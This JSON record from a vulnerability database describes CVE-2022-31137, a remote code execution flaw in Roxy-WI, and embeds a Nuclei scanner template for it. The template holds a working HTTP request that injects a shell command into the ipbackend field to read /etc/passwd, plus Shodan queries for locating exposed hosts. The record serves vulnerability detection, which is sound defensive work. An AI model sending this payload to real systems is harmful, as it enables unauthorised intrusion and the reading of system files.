{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-31137/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-31137/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-31137/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-31137/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-31137/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-31137"},"sightings":{"href":"/api/v1/sightings/cve-2022-31137"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-31137.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-31137\n\ninfo:\n  name: Roxy-WI < 6.1.1.0 - Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Users are advised to upgrade to latest version.\n  reference:\n    - http://packetstormsecurity.com/files/167805/Roxy-WI-Remote-Command-Execution.html\n    - https://www.cve.org/CVERecord?id=CVE-2022-31137\n    - https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-31137\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-31137\n    cwe-id: CWE-74\n    epss-score: 0.90577\n    epss-percentile: 0.99799\n    cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: roxy-wi\n    product: roxy-wi\n    shodan-query:\n      - http.html:\"Roxy-WI\"\n      - http.html:\"roxy-wi\"\n    fofa-query: body=\"roxy-wi\"\n  tags: cve2022,cve,rce,roxy,roxy-wi,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /app/options.py HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        X-Requested-With: XMLHttpRequest\n        Origin: {{BaseURL}}\n        Referer: {{BaseURL}}/app/login.py\n\n        alert_consumer=1&serv=127.0.0.1&ipbackend=\";cat+/etc/passwd+##&backend_server=127.0.0.1\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502204d787d1bd96d206c57b2b01f38f698a09ca783e7f35b2d1c5604a1cd9e0f8234022100b60f3db575e45db783907417d0b104bb7e6a0e343e38a79a6c48d4fde2ce767f:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-31137"}